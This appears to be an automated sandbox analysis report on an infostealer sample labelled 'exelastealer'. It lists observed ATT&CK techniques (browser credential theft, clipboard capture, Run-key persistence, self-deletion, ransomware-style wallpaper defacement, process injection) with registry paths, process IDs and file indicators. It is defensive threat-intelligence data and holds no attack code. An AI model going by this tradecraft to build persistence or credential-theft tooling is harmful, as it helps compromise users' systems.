exelastealer | 0849b85e16da3b4fc89ec373fd9f42dc6cfa61f5592792bf48991f1e8d544d3a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2067557190-3677960511-2209622391-1000\Control Panel\International\Geo\Nation	Cyber Sniff.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2067557190-3677960511-2209622391-1000\Control Panel\International\Geo\Nation	cooker.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5152	cmd.exe
644	powershell.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Deletes itself 1 IoCs

pid	Process
2640	PACKED.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD9A42.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD9A78.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Executes dropped EXE 17 IoCs

pid	Process
752	kitty_portable.exe
4752	AutoClicker-3.1.exe
4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
4976	Cyber Sniff.exe
3636	WindowsUpdateDaemon.exe
3652	PACKED.exe
6136	CyberSniff.exe
3416	taskdl.exe
2640	PACKED.exe
3880	Exela.exe
5900	Exela.exe
3712	@[email protected]
1616	@[email protected]
2324	taskhsvc.exe
3232	taskse.exe
3364	@[email protected]
3296	taskdl.exe

Loads dropped DLL 64 IoCs

pid	Process
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
2640	PACKED.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
2640	PACKED.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe
5900	Exela.exe

Modifies file permissions 1 TTPs 1 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4756	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Exela Update Service = "C:\\Users\\Admin\\AppData\\Local\\ExelaUpdateService\\Exela.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\qtxyjtaxkfx602 = "\"C:\\Users\\Admin\\AppData\\Roaming\\tasksche.exe\""	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

pid	Process
2916	cmd.exe
1220	ARP.EXE

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0007000000028244-17.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

Process Discovery

T1057

pid	Process
5936	tasklist.exe
4472	tasklist.exe
5516	tasklist.exe
5952	tasklist.exe
5172	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3052	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2067557190-3677960511-2209622391-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2067557190-3677960511-2209622391-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0008000000028240-4.dat	upx
behavioral2/memory/752-18-0x0000000000400000-0x0000000000643000-memory.dmp	upx
behavioral2/files/0x00070000000282d8-316.dat	upx
behavioral2/memory/2640-330-0x00007FFA2F460000-0x00007FFA2F8C5000-memory.dmp	upx
behavioral2/memory/2640-396-0x00007FFA35F00000-0x00007FFA35F24000-memory.dmp	upx
behavioral2/memory/2640-398-0x00007FFA48210000-0x00007FFA4821F000-memory.dmp	upx
behavioral2/memory/2640-410-0x00007FFA35EE0000-0x00007FFA35EF9000-memory.dmp	upx
behavioral2/files/0x000700000002827c-390.dat	upx
behavioral2/memory/2640-426-0x00007FFA30CE0000-0x00007FFA30D0C000-memory.dmp	upx
behavioral2/memory/2640-431-0x00007FFA43F00000-0x00007FFA43F0D000-memory.dmp	upx
behavioral2/memory/752-438-0x0000000000400000-0x0000000000643000-memory.dmp	upx
behavioral2/memory/2640-452-0x00007FFA2F2F0000-0x00007FFA2F45D000-memory.dmp	upx
behavioral2/memory/2640-447-0x00007FFA30820000-0x00007FFA3083E000-memory.dmp	upx
behavioral2/memory/2640-430-0x00007FFA35EC0000-0x00007FFA35ED9000-memory.dmp	upx
behavioral2/memory/2640-469-0x00007FFA307F0000-0x00007FFA3081E000-memory.dmp	upx
behavioral2/memory/2640-481-0x00007FFA2EEB0000-0x00007FFA2F224000-memory.dmp	upx
behavioral2/memory/2640-483-0x00007FFA35F00000-0x00007FFA35F24000-memory.dmp	upx
behavioral2/memory/2640-484-0x00007FFA306B0000-0x00007FFA306C4000-memory.dmp	upx
behavioral2/memory/2640-496-0x00007FFA2ED00000-0x00007FFA2ED1B000-memory.dmp	upx
behavioral2/memory/2640-495-0x00007FFA2ED20000-0x00007FFA2ED43000-memory.dmp	upx
behavioral2/memory/2640-494-0x00007FFA2ED50000-0x00007FFA2EE68000-memory.dmp	upx
behavioral2/memory/2640-493-0x00007FFA2EE70000-0x00007FFA2EE85000-memory.dmp	upx
behavioral2/memory/2640-492-0x00007FFA2EE90000-0x00007FFA2EEA9000-memory.dmp	upx
behavioral2/memory/2640-491-0x00007FFA433F0000-0x00007FFA43400000-memory.dmp	upx
behavioral2/memory/2640-480-0x00007FFA2F230000-0x00007FFA2F2E6000-memory.dmp	upx
behavioral2/memory/2640-477-0x00007FFA2F460000-0x00007FFA2F8C5000-memory.dmp	upx
behavioral2/memory/2640-519-0x00007FFA35EC0000-0x00007FFA35ED9000-memory.dmp	upx
behavioral2/memory/2640-536-0x00007FFA2F2F0000-0x00007FFA2F45D000-memory.dmp	upx
behavioral2/memory/2640-539-0x00007FFA2E9D0000-0x00007FFA2E9EE000-memory.dmp	upx
behavioral2/memory/2640-550-0x00007FFA2EA30000-0x00007FFA2EA41000-memory.dmp	upx
behavioral2/memory/2640-549-0x00007FFA2E1D0000-0x00007FFA2E9CE000-memory.dmp	upx
behavioral2/memory/2640-538-0x00007FFA3EC20000-0x00007FFA3EC2A000-memory.dmp	upx
behavioral2/memory/2640-537-0x00007FFA2E9F0000-0x00007FFA2EA22000-memory.dmp	upx
behavioral2/memory/2640-534-0x00007FFA30820000-0x00007FFA3083E000-memory.dmp	upx
behavioral2/memory/2640-533-0x00007FFA2EA50000-0x00007FFA2EA9D000-memory.dmp	upx
behavioral2/memory/2640-532-0x00007FFA2EAA0000-0x00007FFA2EAB8000-memory.dmp	upx
behavioral2/memory/2640-637-0x00007FFA2E110000-0x00007FFA2E147000-memory.dmp	upx
behavioral2/memory/2640-636-0x00007FFA307F0000-0x00007FFA3081E000-memory.dmp	upx
behavioral2/memory/2640-917-0x00007FFA2F230000-0x00007FFA2F2E6000-memory.dmp	upx
behavioral2/memory/2640-930-0x00007FFA2EEB0000-0x00007FFA2F224000-memory.dmp	upx
behavioral2/memory/752-913-0x0000000000400000-0x0000000000643000-memory.dmp	upx
behavioral2/memory/2640-1613-0x00007FFA306B0000-0x00007FFA306C4000-memory.dmp	upx
behavioral2/memory/2640-1618-0x00007FFA35F00000-0x00007FFA35F24000-memory.dmp	upx
behavioral2/memory/2640-1637-0x00007FFA2EA50000-0x00007FFA2EA9D000-memory.dmp	upx
behavioral2/memory/2640-1642-0x00007FFA2E1D0000-0x00007FFA2E9CE000-memory.dmp	upx
behavioral2/memory/2640-1636-0x00007FFA2EAA0000-0x00007FFA2EAB8000-memory.dmp	upx
behavioral2/memory/2640-1629-0x00007FFA306B0000-0x00007FFA306C4000-memory.dmp	upx
behavioral2/memory/2640-1617-0x00007FFA2F460000-0x00007FFA2F8C5000-memory.dmp	upx
behavioral2/memory/2640-1645-0x00007FFA2ED00000-0x00007FFA2ED1B000-memory.dmp	upx
behavioral2/memory/2640-1644-0x00007FFA433F0000-0x00007FFA43400000-memory.dmp	upx
behavioral2/memory/5900-1744-0x00007FFA2BCE0000-0x00007FFA2C145000-memory.dmp	upx
behavioral2/memory/5900-1746-0x00007FFA3EAC0000-0x00007FFA3EACF000-memory.dmp	upx
behavioral2/memory/5900-1745-0x00007FFA2BC90000-0x00007FFA2BCB4000-memory.dmp	upx
behavioral2/memory/5900-1749-0x00007FFA2BC20000-0x00007FFA2BC39000-memory.dmp	upx
behavioral2/memory/5900-1752-0x00007FFA2BA90000-0x00007FFA2BBFD000-memory.dmp	upx
behavioral2/memory/5900-1751-0x00007FFA2BC00000-0x00007FFA2BC1E000-memory.dmp	upx
behavioral2/memory/5900-1757-0x00007FFA2B620000-0x00007FFA2B6D6000-memory.dmp	upx
behavioral2/memory/5900-1758-0x00007FFA2B6E0000-0x00007FFA2BA54000-memory.dmp	upx
behavioral2/memory/5900-1756-0x00007FFA2BA60000-0x00007FFA2BA8E000-memory.dmp	upx
behavioral2/memory/5900-1750-0x00007FFA3E850000-0x00007FFA3E85D000-memory.dmp	upx
behavioral2/memory/5900-1748-0x00007FFA2BC40000-0x00007FFA2BC6C000-memory.dmp	upx
behavioral2/memory/5900-1747-0x00007FFA2BC70000-0x00007FFA2BC89000-memory.dmp	upx
behavioral2/memory/5900-1761-0x00007FFA3E7D0000-0x00007FFA3E7E0000-memory.dmp	upx
behavioral2/memory/5900-1768-0x00007FFA2B590000-0x00007FFA2B5B3000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5372	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0007000000028274-177.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AutoClicker-3.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cooker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhsvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kitty_portable.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cyber Sniff.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
1924	cmd.exe
4948	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

System Network Connections Discovery

T1049

pid	Process
2180	NETSTAT.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
5676	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
2056	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6024	ipconfig.exe
2180	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5272	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
5908	reg.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
1196	vlc.exe
4004	WINWORD.EXE
4004	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
5940	powershell.exe
5940	powershell.exe
3868	powershell.exe
3868	powershell.exe
2056	WMIC.exe
2056	WMIC.exe
2056	WMIC.exe
2056	WMIC.exe
1536	WMIC.exe
1536	WMIC.exe
1536	WMIC.exe
1536	WMIC.exe
6116	WMIC.exe
6116	WMIC.exe
6116	WMIC.exe
6116	WMIC.exe
960	WMIC.exe
960	WMIC.exe
960	WMIC.exe
960	WMIC.exe
5624	mspaint.exe
5624	mspaint.exe
3168	mspaint.exe
3168	mspaint.exe
2552	mspaint.exe
2552	mspaint.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
2324	taskhsvc.exe
2324	taskhsvc.exe
2324	taskhsvc.exe
2324	taskhsvc.exe
2324	taskhsvc.exe
2324	taskhsvc.exe
5676	WMIC.exe
5676	WMIC.exe
5676	WMIC.exe
5676	WMIC.exe
3252	WMIC.exe
3252	WMIC.exe
3252	WMIC.exe
3252	WMIC.exe
3960	WMIC.exe
3960	WMIC.exe
3960	WMIC.exe
3960	WMIC.exe
3792	WMIC.exe
3792	WMIC.exe
3792	WMIC.exe
3792	WMIC.exe
2840	WMIC.exe
2840	WMIC.exe
2840	WMIC.exe
2840	WMIC.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4752	AutoClicker-3.1.exe
1196	vlc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5940	powershell.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeIncreaseQuotaPrivilege	5940	powershell.exe
Token: SeSecurityPrivilege	5940	powershell.exe
Token: SeTakeOwnershipPrivilege	5940	powershell.exe
Token: SeLoadDriverPrivilege	5940	powershell.exe
Token: SeSystemProfilePrivilege	5940	powershell.exe
Token: SeSystemtimePrivilege	5940	powershell.exe
Token: SeProfSingleProcessPrivilege	5940	powershell.exe
Token: SeIncBasePriorityPrivilege	5940	powershell.exe
Token: SeCreatePagefilePrivilege	5940	powershell.exe
Token: SeBackupPrivilege	5940	powershell.exe
Token: SeRestorePrivilege	5940	powershell.exe
Token: SeShutdownPrivilege	5940	powershell.exe
Token: SeDebugPrivilege	5940	powershell.exe
Token: SeSystemEnvironmentPrivilege	5940	powershell.exe
Token: SeRemoteShutdownPrivilege	5940	powershell.exe
Token: SeUndockPrivilege	5940	powershell.exe
Token: SeManageVolumePrivilege	5940	powershell.exe
Token: 33	5940	powershell.exe
Token: 34	5940	powershell.exe
Token: 35	5940	powershell.exe
Token: 36	5940	powershell.exe
Token: SeIncreaseQuotaPrivilege	2056	WMIC.exe
Token: SeSecurityPrivilege	2056	WMIC.exe
Token: SeTakeOwnershipPrivilege	2056	WMIC.exe
Token: SeLoadDriverPrivilege	2056	WMIC.exe
Token: SeSystemProfilePrivilege	2056	WMIC.exe
Token: SeSystemtimePrivilege	2056	WMIC.exe
Token: SeProfSingleProcessPrivilege	2056	WMIC.exe
Token: SeIncBasePriorityPrivilege	2056	WMIC.exe
Token: SeCreatePagefilePrivilege	2056	WMIC.exe
Token: SeBackupPrivilege	2056	WMIC.exe
Token: SeRestorePrivilege	2056	WMIC.exe
Token: SeShutdownPrivilege	2056	WMIC.exe
Token: SeDebugPrivilege	2056	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2056	WMIC.exe
Token: SeRemoteShutdownPrivilege	2056	WMIC.exe
Token: SeUndockPrivilege	2056	WMIC.exe
Token: SeManageVolumePrivilege	2056	WMIC.exe
Token: 33	2056	WMIC.exe
Token: 34	2056	WMIC.exe
Token: 35	2056	WMIC.exe
Token: 36	2056	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemProfilePrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeProfSingleProcessPrivilege	1536	WMIC.exe
Token: SeIncBasePriorityPrivilege	1536	WMIC.exe
Token: SeCreatePagefilePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeDebugPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeRemoteShutdownPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: 33	1536	WMIC.exe
Token: 34	1536	WMIC.exe
Token: 35	1536	WMIC.exe

Suspicious use of FindShellTrayWindow 19 IoCs

pid	Process
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe
1196	vlc.exe

Suspicious use of SetWindowsHookEx 34 IoCs

pid	Process
5624	mspaint.exe
3168	mspaint.exe
5624	mspaint.exe
5624	mspaint.exe
5624	mspaint.exe
3168	mspaint.exe
3168	mspaint.exe
3168	mspaint.exe
2552	mspaint.exe
2552	mspaint.exe
2552	mspaint.exe
2552	mspaint.exe
3712	@[email protected]
3712	@[email protected]
1616	@[email protected]
1616	@[email protected]
1196	vlc.exe
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
3364	@[email protected]
3364	@[email protected]
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE
4004	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 5940	3160	cooker.exe	86
PID 3160 wrote to memory of 5940	3160	cooker.exe	86
PID 3160 wrote to memory of 5940	3160	cooker.exe	86
PID 3160 wrote to memory of 752	3160	cooker.exe	88
PID 3160 wrote to memory of 752	3160	cooker.exe	88
PID 3160 wrote to memory of 752	3160	cooker.exe	88
PID 3160 wrote to memory of 4752	3160	cooker.exe	89
PID 3160 wrote to memory of 4752	3160	cooker.exe	89
PID 3160 wrote to memory of 4752	3160	cooker.exe	89
PID 3160 wrote to memory of 4788	3160	cooker.exe	90
PID 3160 wrote to memory of 4788	3160	cooker.exe	90
PID 3160 wrote to memory of 4788	3160	cooker.exe	90
PID 4788 wrote to memory of 4992	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	91
PID 4788 wrote to memory of 4992	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	91
PID 4788 wrote to memory of 4992	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	91
PID 4788 wrote to memory of 4756	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	92
PID 4788 wrote to memory of 4756	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	92
PID 4788 wrote to memory of 4756	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	92
PID 3160 wrote to memory of 4976	3160	cooker.exe	95
PID 3160 wrote to memory of 4976	3160	cooker.exe	95
PID 3160 wrote to memory of 4976	3160	cooker.exe	95
PID 4976 wrote to memory of 3868	4976	Cyber Sniff.exe	97
PID 4976 wrote to memory of 3868	4976	Cyber Sniff.exe	97
PID 4976 wrote to memory of 3868	4976	Cyber Sniff.exe	97
PID 4976 wrote to memory of 3636	4976	Cyber Sniff.exe	99
PID 4976 wrote to memory of 3636	4976	Cyber Sniff.exe	99
PID 4976 wrote to memory of 3652	4976	Cyber Sniff.exe	100
PID 4976 wrote to memory of 3652	4976	Cyber Sniff.exe	100
PID 4976 wrote to memory of 6136	4976	Cyber Sniff.exe	101
PID 4976 wrote to memory of 6136	4976	Cyber Sniff.exe	101
PID 4788 wrote to memory of 3416	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	102
PID 4788 wrote to memory of 3416	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	102
PID 4788 wrote to memory of 3416	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	102
PID 3652 wrote to memory of 2640	3652	PACKED.exe	103
PID 3652 wrote to memory of 2640	3652	PACKED.exe	103
PID 4788 wrote to memory of 3060	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	105
PID 4788 wrote to memory of 3060	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	105
PID 4788 wrote to memory of 3060	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	105
PID 4788 wrote to memory of 2432	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	107
PID 4788 wrote to memory of 2432	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	107
PID 4788 wrote to memory of 2432	4788	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	107
PID 2640 wrote to memory of 1300	2640	PACKED.exe	109
PID 2640 wrote to memory of 1300	2640	PACKED.exe	109
PID 2640 wrote to memory of 1468	2640	PACKED.exe	115
PID 2640 wrote to memory of 1468	2640	PACKED.exe	115
PID 2640 wrote to memory of 4496	2640	PACKED.exe	116
PID 2640 wrote to memory of 4496	2640	PACKED.exe	116
PID 2640 wrote to memory of 1616	2640	PACKED.exe	171
PID 2640 wrote to memory of 1616	2640	PACKED.exe	171
PID 2640 wrote to memory of 1140	2640	PACKED.exe	118
PID 2640 wrote to memory of 1140	2640	PACKED.exe	118
PID 3060 wrote to memory of 1320	3060	cmd.exe	123
PID 3060 wrote to memory of 1320	3060	cmd.exe	123
PID 3060 wrote to memory of 1320	3060	cmd.exe	123
PID 1468 wrote to memory of 2056	1468	cmd.exe	124
PID 1468 wrote to memory of 2056	1468	cmd.exe	124
PID 4496 wrote to memory of 1536	4496	cmd.exe	125
PID 4496 wrote to memory of 1536	4496	cmd.exe	125
PID 1140 wrote to memory of 5936	1140	cmd.exe	126
PID 1140 wrote to memory of 5936	1140	cmd.exe	126
PID 2640 wrote to memory of 1916	2640	PACKED.exe	128
PID 2640 wrote to memory of 1916	2640	PACKED.exe	128
PID 1916 wrote to memory of 6116	1916	cmd.exe	130
PID 1916 wrote to memory of 6116	1916	cmd.exe	130
